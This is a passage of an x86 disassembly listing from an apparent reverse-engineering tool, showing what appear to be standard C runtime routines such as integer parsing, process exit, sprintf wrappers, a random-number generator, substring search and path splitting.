xor eax, eax
mov al, [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp-14h], edx
loc_4179C0: ; CODE XREF: .data:004179A5j
cmp dword ptr [ebp-14h], 0
jz short loc_4179D1
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
jmp short loc_417987
; ---------------------------------------------------------------------------
loc_4179D1: ; CODE XREF: .data:004179C4j
mov ecx, [ebp+8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
mov ecx, [ebp-4]
mov [ebp-10h], ecx
cmp dword ptr [ebp-4], 2Dh
jz short loc_4179F6
cmp dword ptr [ebp-4], 2Bh
jnz short loc_417A09
loc_4179F6: ; CODE XREF: .data:004179EEj
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
loc_417A09: ; CODE XREF: .data:004179F4j
mov dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 0
loc_417A17: ; CODE XREF: .data:00417A87j
cmp dword_447480, 1
jle short loc_417A33
push 4
mov edx, [ebp-4]
push edx
call sub_41FA40
add esp, 8
mov [ebp-18h], eax
jmp short loc_417A48
; ---------------------------------------------------------------------------
loc_417A33: ; CODE XREF: .data:00417A1Ej
mov eax, [ebp-4]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp-18h], edx
loc_417A48: ; CODE XREF: .data:00417A31j
cmp dword ptr [ebp-18h], 0
jz short loc_417A89
push 0
push 0Ah
mov eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
push ecx
call sub_4206E0
mov ecx, eax
mov esi, edx
mov eax, [ebp-4]
sub eax, 30h
cdq
add ecx, eax
adc esi, edx
mov [ebp-0Ch], ecx
mov [ebp-8], esi
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
jmp short loc_417A17
; ---------------------------------------------------------------------------
loc_417A89: ; CODE XREF: .data:00417A4Cj
cmp dword ptr [ebp-10h], 2Dh
jnz short loc_417A9E
mov eax, [ebp-0Ch]
neg eax
mov edx, [ebp-8]
adc edx, 0
neg edx
jmp short loc_417AA4
; ---------------------------------------------------------------------------
loc_417A9E: ; CODE XREF: .data:00417A8Dj
mov eax, [ebp-0Ch]
mov edx, [ebp-8]
loc_417AA4: ; CODE XREF: .data:00417A9Cj
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AB0 proc near ; CODE XREF: sub_41AB00+D2p
push ebp
mov ebp, esp
cmp off_444EBC, 0
jz short loc_417AC2
call off_444EBC
loc_417AC2: ; CODE XREF: sub_417AB0+Aj
push offset dword_43702C
push offset dword_437018
call sub_417C80
add esp, 8
push offset dword_437014
push offset dword_437000
call sub_417C80
add esp, 8
pop ebp
retn
sub_417AB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AF0 proc near ; CODE XREF: sub_41AB00+12Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
mov eax, [ebp+arg_0]
push eax
call sub_417B70
add esp, 0Ch
pop ebp
retn
sub_417AF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B10 proc near ; CODE XREF: .data:0041AC54p
; sub_41AC70+22p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1
mov eax, [ebp+arg_0]
push eax
call sub_417B70
add esp, 0Ch
pop ebp
retn
sub_417B10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
push 0
call sub_417B70
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 1
push 0
call sub_417B70
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B70 proc near ; CODE XREF: sub_417AF0+Bp
; sub_417B10+Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
call sub_417C60
cmp dword_4DDFC0, 1
jnz short loc_417B93
mov eax, [ebp+arg_0]
push eax
call dword_4E03C4 ; GetCurrentProcess
push eax
call dword_4E03BC ; TerminateProcess
loc_417B93: ; CODE XREF: sub_417B70+10j
mov dword_4DDFBC, 1
mov cl, byte ptr [ebp+arg_8]
mov byte_4DDFB8, cl
cmp [ebp+arg_4], 0
jnz short loc_417BF3
cmp dword_4DF694, 0
jz short loc_417BE1
mov edx, dword_4DF690
mov [ebp+var_4], edx
loc_417BBE: ; CODE XREF: sub_417B70:loc_417BDFj
mov eax, [ebp+var_4]
sub eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, dword_4DF694
jb short loc_417BE1
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_417BDF
mov eax, [ebp+var_4]
call dword ptr [eax]
loc_417BDF: ; CODE XREF: sub_417B70+68j
jmp short loc_417BBE
; ---------------------------------------------------------------------------
loc_417BE1: ; CODE XREF: sub_417B70+43j
; sub_417B70+60j
push offset dword_437038
push offset dword_437030
call sub_417C80
add esp, 8
loc_417BF3: ; CODE XREF: sub_417B70+3Aj
push offset dword_437044
push offset dword_43703C
call sub_417C80
add esp, 8
cmp dword_4DDFC4, 0
jnz short loc_417C2E
push 0FFFFFFFFh
call sub_4167D0
add esp, 4
and eax, 20h
test eax, eax
jz short loc_417C2E
mov dword_4DDFC4, 1
call sub_417280
loc_417C2E: ; CODE XREF: sub_417B70+9Cj
; sub_417B70+ADj
cmp [ebp+arg_8], 0
jz short loc_417C3B
call sub_417C70
jmp short loc_417C4F
; ---------------------------------------------------------------------------
loc_417C3B: ; CODE XREF: sub_417B70+C2j
mov dword_4DDFC0, 1
mov ecx, [ebp+arg_0]
push ecx
call dword_4E0328 ; ExitProcess
loc_417C4F: ; CODE XREF: sub_417B70+C9j
mov esp, ebp
pop ebp
retn
sub_417B70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C60 proc near ; CODE XREF: sub_417B70+4p
; sub_419EA0+4p
push ebp
mov ebp, esp
push 0Dh
call sub_41BC80
add esp, 4
pop ebp
retn
sub_417C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C70 proc near ; CODE XREF: sub_417B70+C4p
; sub_419EA0+61p ...
push ebp
mov ebp, esp
push 0Dh
call sub_41BD20
add esp, 4
pop ebp
retn
sub_417C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C80 proc near ; CODE XREF: sub_417AB0+1Cp
; sub_417AB0+2Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
loc_417C83: ; CODE XREF: sub_417C80+21j
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_417CA3
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jz short loc_417C98
mov edx, [ebp+arg_0]
call dword ptr [edx]
loc_417C98: ; CODE XREF: sub_417C80+11j
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
jmp short loc_417C83
; ---------------------------------------------------------------------------
loc_417CA3: ; CODE XREF: sub_417C80+9j
pop ebp
retn
sub_417C80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417CB0 proc near ; CODE XREF: sub_401404+18Cp
; sub_401404+283p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_417CC5: ; CODE XREF: sub_417CB0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_417CE9
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_417CE9
int 3 ; Trap to Debugger
loc_417CE9: ; CODE XREF: sub_417CB0+19j
; sub_417CB0+36j
xor edx, edx
test edx, edx
jnz short loc_417CC5
loc_417CEF: ; CODE XREF: sub_417CB0+67j
cmp [ebp+arg_4], 0
jnz short loc_417D13
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_417D13
int 3 ; Trap to Debugger
loc_417D13: ; CODE XREF: sub_417CB0+43j
; sub_417CB0+60j
xor eax, eax
test eax, eax
jnz short loc_417CEF
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov dword ptr [eax+4], 7FFFFFFFh
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_24]
push eax
call sub_4209A0
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_417D8F
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_30], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_417DA0
; ---------------------------------------------------------------------------
loc_417D8F: ; CODE XREF: sub_417CB0+BBj
mov edx, [ebp+var_24]
push edx
push 0
call sub_420720
add esp, 8
mov [ebp+var_30], eax
loc_417DA0: ; CODE XREF: sub_417CB0+DDj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417CB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DB0 proc near ; CODE XREF: sub_401404+45p
; sub_401C87+4484p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_421920
mov ecx, [ebp+arg_0]
mov [eax+14h], ecx
pop ebp
retn
sub_417DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DC0 proc near ; CODE XREF: sub_401404:loc_401559p
; sub_401404:loc_401875p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_421920
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov edx, [ebp+var_4]
mov [edx+14h], ecx
mov eax, [ebp+var_4]
mov eax, [eax+14h]
shr eax, 10h
and eax, 7FFFh
mov esp, ebp
pop ebp
retn
sub_417DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417E00 proc near ; CODE XREF: sub_401404+12Ap
; sub_401C87+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_417E7A
mov dh, [ecx+1]
test dh, dh
jz short loc_417E67
loc_417E18: ; CODE XREF: sub_417E00+52j
; sub_417E00+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_417E3A
test al, al
jz short loc_417E34
loc_417E29: ; CODE XREF: sub_417E00+32j
mov al, [esi]
inc esi
loc_417E2C: ; CODE XREF: sub_417E00+3Fj
cmp al, dl
jz short loc_417E3A
test al, al
jnz short loc_417E29
loc_417E34: ; CODE XREF: sub_417E00+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_417E3A: ; CODE XREF: sub_417E00+23j
; sub_417E00+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_417E2C
lea edi, [esi-1]
loc_417E44: ; CODE XREF: sub_417E00+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_417E73
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_417E18
mov al, [ecx+3]
test al, al
jz short loc_417E73
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_417E44
jmp short loc_417E18
; ---------------------------------------------------------------------------
loc_417E67: ; CODE XREF: sub_417E00+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_418976
; ---------------------------------------------------------------------------
loc_417E73: ; CODE XREF: sub_417E00+49j
; sub_417E00+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_417E7A: ; CODE XREF: sub_417E00+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_417E00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E80 proc near ; CODE XREF: sub_401404+117p
; sub_401C87+16C3p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_C]
mov [ebp+var_2C], ecx
loc_417E95: ; CODE XREF: sub_417E80+3Dj
cmp [ebp+arg_0], 0
jnz short loc_417EB9
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_417EB9
int 3 ; Trap to Debugger
loc_417EB9: ; CODE XREF: sub_417E80+19j
; sub_417E80+36j
xor edx, edx
test edx, edx
jnz short loc_417E95
loc_417EBF: ; CODE XREF: sub_417E80+67j
cmp [ebp+arg_8], 0
jnz short loc_417EE3
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_417EE3
int 3 ; Trap to Debugger
loc_417EE3: ; CODE XREF: sub_417E80+43j
; sub_417E80+60j
xor eax, eax
test eax, eax
jnz short loc_417EBF
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_4209A0
add esp, 0Ch
mov [ebp+var_28], eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_24]
cmp dword ptr [edx+4], 0
jl short loc_417F5E
mov eax, [ebp+var_24]
mov ecx, [eax]
mov byte ptr [ecx], 0
xor edx, edx
and edx, 0FFh
mov [ebp+var_30], edx
mov eax, [ebp+var_24]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+var_24]
mov [edx], ecx
jmp short loc_417F6F
; ---------------------------------------------------------------------------
loc_417F5E: ; CODE XREF: sub_417E80+BAj
mov eax, [ebp+var_24]
push eax
push 0
call sub_420720
add esp, 8
mov [ebp+var_30], eax
loc_417F6F: ; CODE XREF: sub_417E80+DCj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417E80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F80 proc near ; CODE XREF: sub_401404+F7p
; sub_401C87+1DB5p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
push eax
call sub_414EC0
add esp, 4
cmp eax, 1
jb short loc_417FDB
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+1]
cmp edx, 3Ah
jnz short loc_417FDB
cmp [ebp+arg_4], 0
jz short loc_417FD0
push 2
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_422300
add esp, 0Ch
mov edx, [ebp+arg_4]
mov byte ptr [edx+2], 0
loc_417FD0: ; CODE XREF: sub_417F80+35j
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
jmp short loc_417FE7
; ---------------------------------------------------------------------------
loc_417FDB: ; CODE XREF: sub_417F80+23j
; sub_417F80+2Fj
cmp [ebp+arg_4], 0
jz short loc_417FE7
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 0
loc_417FE7: ; CODE XREF: sub_417F80+59j
; sub_417F80+5Fj
mov [ebp+var_C], 0
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
jmp short loc_417FFF
; ---------------------------------------------------------------------------
loc_417FF6: ; CODE XREF: sub_417F80:loc_41805Cj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_417FFF: ; CODE XREF: sub_417F80+74j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41805E
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
xor edx, edx
mov dl, byte_4DE541[ecx]
and edx, 4
test edx, edx
jz short loc_41802A
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41805C
; ---------------------------------------------------------------------------
loc_41802A: ; CODE XREF: sub_417F80+9Dj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 2Fh
jz short loc_418040
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 5Ch
jnz short loc_41804B
loc_418040: ; CODE XREF: sub_417F80+B3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
jmp short loc_41805C
; ---------------------------------------------------------------------------
loc_41804B: ; CODE XREF: sub_417F80+BEj
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_41805C
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_41805C: ; CODE XREF: sub_417F80+A8j
; sub_417F80+C9j ...
jmp short loc_417FF6
; ---------------------------------------------------------------------------
loc_41805E: ; CODE XREF: sub_417F80+87j
cmp [ebp+var_C], 0
jz short loc_4180B4
cmp [ebp+arg_8], 0
jz short loc_4180AC
mov eax, [ebp+var_C]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_418082
mov ecx, [ebp+var_C]
sub ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
jmp short loc_418089
; ---------------------------------------------------------------------------
loc_418082: ; CODE XREF: sub_417F80+F5j
mov [ebp+var_14], 0FFh
loc_418089: ; CODE XREF: sub_417F80+100j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_422300
add esp, 0Ch
mov eax, [ebp+arg_8]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_4180AC: ; CODE XREF: sub_417F80+E8j
mov ecx, [ebp+var_C]
mov [ebp+arg_0], ecx
jmp short loc_4180C0
; ---------------------------------------------------------------------------
loc_4180B4: ; CODE XREF: sub_417F80+E2j
cmp [ebp+arg_8], 0
jz short loc_4180C0
mov edx, [ebp+arg_8]
mov byte ptr [edx], 0
loc_4180C0: ; CODE XREF: sub_417F80+132j
; sub_417F80+138j
cmp [ebp+var_8], 0
jz loc_41816A
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_0]
jb loc_41816A
cmp [ebp+arg_C], 0
jz short loc_41811F
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_0]
cmp ecx, 0FFh
jnb short loc_4180F5
mov edx, [ebp+var_8]
sub edx, [ebp+arg_0]
mov [ebp+var_18], edx
jmp short loc_4180FC
; ---------------------------------------------------------------------------
loc_4180F5: ; CODE XREF: sub_417F80+168j
mov [ebp+var_18], 0FFh
loc_4180FC: ; CODE XREF: sub_417F80+173j
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
push eax
call sub_422300
add esp, 0Ch
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_10]
mov byte ptr [ecx], 0
loc_41811F: ; CODE XREF: sub_417F80+15Aj
cmp [ebp+arg_10], 0
jz short loc_418168
mov edx, [ebp+var_4]
sub edx, [ebp+var_8]
cmp edx, 0FFh
jnb short loc_41813E
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_1C], eax
jmp short loc_418145
; ---------------------------------------------------------------------------
loc_41813E: ; CODE XREF: sub_417F80+1B1j
mov [ebp+var_1C], 0FFh
loc_418145: ; CODE XREF: sub_417F80+1BCj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_422300
add esp, 0Ch
mov edx, [ebp+arg_10]
add edx, [ebp+var_10]
mov byte ptr [edx], 0
loc_418168: ; CODE XREF: sub_417F80+1A3j
jmp short loc_4181BE
; ---------------------------------------------------------------------------
loc_41816A: ; CODE XREF: sub_417F80+144j
; sub_417F80+150j
cmp [ebp+arg_C], 0
jz short loc_4181B2
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_418188
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
jmp short loc_41818F
; ---------------------------------------------------------------------------
loc_418188: ; CODE XREF: sub_417F80+1FBj
mov [ebp+var_20], 0FFh
loc_41818F: ; CODE XREF: sub_417F80+206j
mov edx, [ebp+var_20]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_422300
add esp, 0Ch
mov eax, [ebp+arg_C]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_4181B2: ; CODE XREF: sub_417F80+1EEj
cmp [ebp+arg_10], 0
jz short loc_4181BE
mov ecx, [ebp+arg_10]
mov byte ptr [ecx], 0
loc_4181BE: ; CODE XREF: sub_417F80:loc_418168j
; sub_417F80+236j
mov esp, ebp
pop ebp
retn
sub_417F80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4181D0 proc near ; CODE XREF: sub_401B0B+8p
; sub_401C87+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_4181F0
loc_4181DC: ; CODE XREF: sub_4181D0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_4181DC
loc_4181F0: ; CODE XREF: sub_4181D0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_4181D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418200 proc near ; CODE XREF: sub_41F690+1C3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_418220
add esp, 10h
pop ebp
retn
sub_418200 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418220 proc near ; CODE XREF: sub_418200+11p
; sub_418560+11p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov [ebp+var_C], 0
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_418244: ; CODE XREF: sub_418220+77j
cmp dword_447480, 1
jle short loc_418266
push 8
mov ecx, [ebp+var_8]
and ecx, 0FFh
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_18], eax
jmp short loc_418280
; ---------------------------------------------------------------------------
loc_418266: ; CODE XREF: sub_418220+2Bj
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8
mov [ebp+var_18], ecx
loc_418280: ; CODE XREF: sub_418220+44j
cmp [ebp+var_18], 0
jz short loc_418299
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_418244
; ---------------------------------------------------------------------------
loc_418299: ; CODE XREF: sub_418220+64j
movsx edx, byte ptr [ebp+var_8]
cmp edx, 2Dh
jnz short loc_4182BD
mov eax, [ebp+arg_C]
or al, 2
mov [ebp+arg_C], eax
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_4182D7
; ---------------------------------------------------------------------------
loc_4182BD: ; CODE XREF: sub_418220+80j
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 2Bh
jnz short loc_4182D7
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4182D7: ; CODE XREF: sub_418220+9Bj
; sub_418220+A4j
cmp [ebp+arg_8], 0
jl short loc_4182E9
cmp [ebp+arg_8], 1
jz short loc_4182E9
cmp [ebp+arg_8], 24h
jle short loc_4182FE
loc_4182E9: ; CODE XREF: sub_418220+BBj
; sub_418220+C1j
cmp [ebp+arg_4], 0
jz short loc_4182F7
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov [edx], eax
loc_4182F7: ; CODE XREF: sub_418220+CDj
xor eax, eax
jmp loc_41854D
; ---------------------------------------------------------------------------
loc_4182FE: ; CODE XREF: sub_418220+C7j
cmp [ebp+arg_8], 0
jnz short loc_41833C
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 30h
jz short loc_418316
mov [ebp+arg_8], 0Ah
jmp short loc_41833C
; ---------------------------------------------------------------------------
loc_418316: ; CODE XREF: sub_418220+EBj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 78h
jz short loc_41832C
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 58h
jnz short loc_418335
loc_41832C: ; CODE XREF: sub_418220+FFj
mov [ebp+arg_8], 10h
jmp short loc_41833C
; ---------------------------------------------------------------------------
loc_418335: ; CODE XREF: sub_418220+10Aj
mov [ebp+arg_8], 8
loc_41833C: ; CODE XREF: sub_418220+E2j
; sub_418220+F4j ...
cmp [ebp+arg_8], 10h
jnz short loc_41837B
movsx eax, byte ptr [ebp+var_8]
cmp eax, 30h
jnz short loc_41837B
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 78h
jz short loc_418361
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 58h
jnz short loc_41837B
loc_418361: ; CODE XREF: sub_418220+134j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41837B: ; CODE XREF: sub_418220+120j
; sub_418220+129j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_10], eax
loc_418386: ; CODE XREF: sub_418220+26Bj
cmp dword_447480, 1
jle short loc_4183A7
push 4
mov eax, [ebp+var_8]
and eax, 0FFh
push eax
call sub_41FA40
